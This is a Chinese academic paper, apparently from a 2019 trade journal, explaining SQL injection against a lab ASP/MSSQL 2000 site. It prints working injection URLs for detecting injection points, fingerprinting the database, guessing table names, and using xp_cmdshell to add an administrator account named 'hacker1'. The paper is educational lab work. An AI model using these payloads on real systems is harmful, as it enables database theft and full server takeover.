随着互联网技术的发展,网络安全问题日益突出。在众多的web安全威胁中,sql注入最为常见,且操作简单,危害较大。2013及2017年,在OWASP十大漏洞统计报告中,SQL注入始终被定义为A1级,2017-2019年国家计算机网络入侵防范中心发布的十大重要安全漏洞,SQL注入攻击被列为主要安全威胁。因此,对SQL注入攻击原理研究具有重要意义[1]。本文主要介绍了SQL注入攻击原理。
1.实验环境
靶机采用MSSQLSERVER2000+SERVER2003+ASP构建网站服务器,攻击机采用win7系统。所讨论的原理及注入手法也适用于其他架构的网站。其中,ASP源代码来源于某开源社区。
2.SQL注入攻击介绍
SQL注入攻击就是将SQL命令或关键字插入到提交给web服务器的表单中,以此执行恶意的SQL操作,实现对网站数据库的非法操作甚至是恶意提权来达到入侵服务器目的的一种技术手段[2]。SQL注入操作简单,但危害较大,对其原理进行研究具有重要意义。
3.SQL注入原理
SQL注入过程可以分为以下几个阶段:⑴寻找注入点 ⑵猜测需要的信息 ⑶提权。本文中,寻找注入点借助NBSI工具,网页报错得到数据库信息,通过存储过程进行提权。
⑴寻找注入点
网页是否存在注入点一般通过在URL后添加逻辑表达式进行测试。测试过程如下:添加“and 1=1”测试代码,如与原测试网页相同,则测试and 1=2,如报错,则证明存在注入点。测试代码与网站相关,以下是常用测试代码:
’,and 1=1,;,1=1,or 1=1。
在正式的渗透测试环境中,通常采用自动化的扫描工具进行测试。
自动化的扫描工具,采用几种变种的测试代码进行嗅探。本文使用NBSI对网站进行扫描,通过抓包软件,可以抓到其向网页发送的两条有效嗅探URL地址为:
http://192.168.2.211/BookMenu.asp?BName=天龙八部' and 'hello'='hello (1)
http://192.168.2.211/BookMenu.asp?BName=天龙八部' and 'hello'='hello1 (2)
查看网站源代码,相关代码如下:
BTitle=Request("BName")
sql="Select BID,BAuthor,BAID,BAName,BTitle,Word from BookList where BTitle='"&BTitle&"' order by BID ASC"
对源代码变量BTitle用表单提交的数据代替得到SQL执行命令:
sql="Select BID,BAuthor,BAID,BAName,BTitle,Word from BookList where BTitle=天龙八部' and 'hello'='hello ' order by BID ASC"
可以看到,由于’hello’ = ‘hello’始终为真,因此(1)测试语句与http://192.168.2.211/BookMenu.asp?BName=天龙八部 网页显示相同,(2)测试语句则会报错,从而判断出该网页存在注入点。最终扫描结果如图1所示:
图1 sql注入点扫描结果
(2)猜测需要的信息(暴库)
采用两种思路:服务器返回错误信息;通过经验猜测数据库包含的信息。数据库信息包括,使用何种数据库,当前使用数据库的表名,用户名,数据库是否能执行多条语句等等。
根据服务器返回错误信息最为精确,但此种方法需要IIS向客户端返回详细错误信息;经验猜测看似思路发散,漫无边际,但结合一些工具,对大部分网站具有危害性。本文以嗅探网站使用数据库类型阐述原理。
在URL中构建错误输入字段,以爆出数据库信息,提交如下构造语句:
http://192.168.2.211/BookMenu.asp?BName=天龙八部'(3)
服务器返回信息如图2所示。
图2. 服务器返回错误信息判定数据库类型
可以看出,靶机服务器使用数据库为MSSQL SERVER,该信息的获得源自服务器报错机制。若IIS不允许返回错误提示,则需要根据数据库的特性,以枚举方式判定数据库类型。数据库所有对象均包含在系统表中,MSSQL SERVER系统表是[sysobject][3],在web环境下,该表可以被正常读取。因此,可以构建如下测试语句:
http://192.168.2.211/BookMenu.asp?BName=天龙八部' and(select count(*)from sysobjects)>0 and ' ' = ' (4)
该测试语句与URL=http://192.168.2.211/BookMenu.asp?BName=天龙八部 页面返回结果一致,可以推测出靶机使用的服务器为MSSQLSERVER。
推测出靶机服务器类型之后,可以通过保留字构造测试语句,爆出使用数据库的用户名:
http://192.168.2.211/BookMenu.asp?BName=天龙八部' and user > 0 and ''=' (5)
该测试语句中,user是sqlserver关键字,其类型是nvarchar类型。通过与数字0进行比对,产生转换错误爆出当前用户dbo,图3是测试结果:
图3 根据报错信息爆出当前用户名
若IIS不允许发送错误信息,则需要根据经验猜测表名。数据库中,按着默认规则,存放用户的表名一般为admin,sysusers,sysadmin等,可以利用一个爆破用户名的字典,执行以下语句爆破存放用户的表名:
http://192.168.2.211/BookMenu.asp?BName=天龙八部' and(Select Count(*)from Admin)>=0 and ''=' (6)
当表名遍历到sysusers,页面正常显示,可以爆出存放用户的表名。
⑶提权操作
Mssqlserver2000默认开启xp_cmdshell这个存储过程,可以利用该存储过程对网站服务器添加账户并对账户进行提权操作,以此拿下服务器权限。通过该存储过程执行net user及net group系统命令,完成向服务器添加账户和提权操作。可以执行以下测试语句向服务器添加账户:
http://192.168.2.211/BookMenu.asp?BName=天龙八部';exec master.dbo.xp_cmdshell 'net user hacker1 123 /add';-- (7)
可以采用以下测试语句将新加账户加到管理员组中:
http://192.168.2.211/BookMenu.asp?BName=天龙八部';exec master.dbo.xp_cmdshell 'net localgroup administrators hacker1 /add';-- (8)
4.总结
本文介绍了SQL注入原理,利用开源网站代码,阐述了注入点的寻找,暴库以及提权操作。注入点寻找结合工具和抓包软件,阐述测试语句如何起作用;暴库介绍了有返回值的暴库技术及基于数据库特征的猜测手法;提权使用了系统存储过程。从实际工程角度阐述了SQL注入原理及采用的一些技术手段。
参考文献:
[1]张莹莹,凌捷,一种SQL注入漏洞定位检测方法[J],计算机应用与软件,2016(2),314-317
[2]杨连群等,基于隐马尔可夫模型的新型SQL注入攻击检测方法[J],信息网络安全,2017(9),115-118
[3] 壮志剑,数据库原理与SQL Server,北京:高等教育出版社,2008
论文作者:任雁汇
论文发表刊物:《基层建设》2019年第13期
论文发表时间:2019/7/23
标签:测试论文; 数据库论文; 语句论文; 服务器论文; 原理论文; 靶机论文; 信息论文; 《基层建设》2019年第13期论文;